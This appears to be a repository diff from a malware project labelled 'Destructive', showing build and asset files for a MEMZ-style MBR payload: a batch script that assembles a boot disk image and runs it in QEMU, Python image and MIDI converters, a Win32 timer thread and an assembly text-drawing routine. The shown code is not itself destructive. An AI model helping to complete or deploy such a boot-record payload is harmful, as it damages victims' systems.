+ #define _APS_NEXT_CONTROL_VALUE 1001
12
+ #define _APS_NEXT_SYMED_VALUE 101
13
+ #endif
14
+ #endif
src/Benzene-main/Destructive/Benzene/threads.c ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include "benzene.h"
2
+
3
+ VOID
4
+ WINAPI
5
+ TimerThread(
6
+ VOID
7
+ )
8
+ {
9
+ SetTimer( NULL, 0, TIMER_DELAY, ( TIMERPROC )TimerProc );
10
+
11
+ MSG msg;
12
+ while ( GetMessageW( &msg, NULL, 0, 0 ) )
13
+ {
14
+ TranslateMessage( &msg );
15
+ DispatchMessageW( &msg );
16
+ }
17
+ }
src/Benzene-main/Destructive/Benzene/threads.h ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ VOID
5
+ WINAPI
6
+ TimerThread(
7
+ VOID
8
+ );
src/Benzene-main/Destructive/BenzeneMBR/Create.bat ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ @echo off
2
+ title Benzene MBR
3
+ color 0a
4
+
5
+ :Check
6
+ if not exist Build md Build >nul
7
+ if exist disk.img goto QEMU
8
+ if exist Build\frames.bin del Build\frames.bin /F /Q >nul
9
+ if exist Build\song.bin del Build\song.bin /F /Q >nul
10
+ if exist Build\special.bin del Build\special.bin /F /Q >nul
11
+ if exist Build\stage2-uncompressed.bin del Build\stage2-uncompressed.bin /F /Q >nul
12
+ if exist Build\stage2-compressed.bin del Build\stage2-compressed.bin /F /Q >nul
13
+ cls
14
+
15
+
16
+ :Start
17
+ Data\Image\png2bin.exe Data\Image\Special\01.png Build\special.bin
18
+ Data\Song\midi2bin.exe Data\Song\midi2bin.mid Build\song.bin
19
+ cd Data\Image\Frames >nul
20
+ if exist 11.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png 11.png ..\..\..\Build\frames.bin & goto Next
21
+ if exist 10.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png 10.png ..\..\..\Build\frames.bin & goto Next
22
+ if exist 09.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png 09.png ..\..\..\Build\frames.bin & goto Next
23
+ if exist 08.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png 08.png ..\..\..\Build\frames.bin & goto Next
24
+ if exist 07.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png 07.png ..\..\..\Build\frames.bin & goto Next
25
+ if exist 06.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png 06.png ..\..\..\Build\frames.bin & goto Next
26
+ if exist 05.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png 05.png ..\..\..\Build\frames.bin & goto Next
27
+ if exist 04.png ..\png2bin.exe 00.png 01.png 02.png 03.png 04.png ..\..\..\Build\frames.bin & goto Next
28
+ if exist 03.png ..\png2bin.exe 00.png 01.png 02.png 03.png ..\..\..\Build\frames.bin & goto Next
29
+ if exist 02.png ..\png2bin.exe 00.png 01.png 02.png ..\..\..\Build\frames.bin & goto Next
30
+ if exist 01.png ..\png2bin.exe 00.png 01.png ..\..\..\Build\frames.bin & goto Next
31
+ if exist 00.png ..\png2bin.exe 00.png ..\..\..\Build\frames.bin & goto Next
32
+
33
+
34
+
35
+ :Next
36
+ cd ..\..\Source >nul
37
+ ..\..\Programs\nasm.exe -f bin main.asm -o ..\..\Build\stage2-uncompressed.bin
38
+ ..\..\Programs\compress.exe ..\..\Build\stage2-uncompressed.bin ..\..\Build\stage2-compressed.bin >nul
39
+ ..\..\Programs\nasm.exe -o ..\..\disk.img bootloader.asm
40
+ cd ..\.. >nul
41
+
42
+
43
+ :QEMU
44
+ pause
45
+ Programs\QEMU\qemu -s -soundhw pcspk -fda disk.img
46
+ exit
src/Benzene-main/Destructive/BenzeneMBR/Data/Image/png2bin.py ADDED
@@ -0,0 +1,55 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import sys, math, struct, os
2
+ from PIL import Image
3
+
4
+ doscolors = [
5
+ (0x00, 0x00, 0x00), # 0
6
+ (0x00, 0x00, 0xa8), # 1
7
+ (0x00, 0xa8, 0x00), # 2
8
+ (0x00, 0xa8, 0xa8), # 3
9
+ (0xa8, 0x00, 0x00), # 4
10
+ (0xa8, 0x00, 0xa8), # 5
11
+ (0xa8, 0xa8, 0x00), # 6
12
+ (0xa8, 0xa8, 0xa8), # 7
13
+
14
+ (0x54, 0x54, 0x54), # 8
15
+ (0x54, 0x54, 0xff), # 9
16
+ (0x54, 0xff, 0x54), # 10
17
+ (0x54, 0xff, 0xff), # 11
18
+ (0xff, 0x54, 0x54), # 12
19
+ (0xff, 0x54, 0xff), # 13
20
+ (0xff, 0xff, 0x54), # 14
21
+ (0xff, 0xff, 0xff), # 15
22
+ ]
23
+
24
+ def color_distance(a, b):
25
+ return math.sqrt( (a[0]-b[0])**2 + (a[1]-b[1])**2 + (a[2]-b[2])**2 )
26
+
27
+ def nearest_color(color):
28
+ nearest = 0
29
+
30
+ for i in range(len(doscolors)):
31
+ if color_distance(color, doscolors[i]) < color_distance(color, doscolors[nearest]):
32
+ nearest = i
33
+
34
+ return nearest
35
+
36
+ buf = ""
37
+
38
+ for imgf in sys.argv[1:-1]:
39
+ img = Image.open(imgf).convert("RGB")
40
+ w, h = img.size
41
+
42
+ for y in xrange(0, h, 2):
43
+ for x in xrange(w):
44
+ b = (nearest_color(img.getpixel((x, y))) << 4)
45
+
46
+ if y < 48 or x >= 0:
47
+ b |= nearest_color(img.getpixel((x, y+1)))
48
+ else:
49
+ b |= 15 if ((b>>4) < 8) else 0
50
+
51
+ buf += chr(b)
52
+ img.close()
53
+
54
+ with open(sys.argv[::-1][0], "wb") as out:
55
+ out.write(buf)
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.mid ADDED
Binary file (1.09 kB). View file
 
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin.py ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import midi, sys
2
+
3
+ pattern = midi.read_midifile(sys.argv[1])
4
+
5
+ def pitchconv(pitch):
6
+ return int(round(1193180.0 / (2**((pitch-69)/12.0)*440), 0))
7
+
8
+ with open(sys.argv[2], "wb") as out:
9
+ pitches = [pitchconv(event.pitch) for event in pattern[1] if isinstance(event, midi.NoteOnEvent)]
10
+
11
+ b = 0
12
+ d = 0
13
+
14
+ t = 0
15
+ o = -1
16
+ for event in pattern[1]:
17
+ if isinstance(event, midi.NoteOnEvent):
18
+ if event.velocity == 0:
19
+ d += int(round(event.tick/48.0, 0))
20
+ p = pitchconv(event.pitch)
21
+ out.write(chr(p & 0xff) + chr((d - 1) << 5 | p >> 8))
22
+ b = 0
23
+ else:
24
+ d = int(round(event.tick/48.0, 0))
src/Benzene-main/Destructive/BenzeneMBR/Data/Song/midi2bin_MEMZ.mid ADDED
Binary file (3.21 kB). View file
 
src/Benzene-main/Destructive/BenzeneMBR/Data/Source/Animation/Image/drawIntroFrame.asm ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ drawIntroFrame:
2
+ push es
3
+ push 0xb800
4
+ pop es
5
+
6
+ ; Increase the frame tick counter to make the intro run faster
7
+ mov byte [frameTickCounter], 5
8
+
9
+ ; Check if message is already fully displayed
10
+ cmp si, messageLength
11
+ jae .end
12
+
13
+ mov di, si
14
+ imul di, 2
15
+
16
+ mov byte al, [si+message]
17
+
18
+ mov byte [es:di], al
19
+ mov byte [es:di+1], 0xf0
20
+
21
+ inc si
22
+ mov [frameIndex], si
23
+
24
+ .end:
25
+ pop es
26
+ ret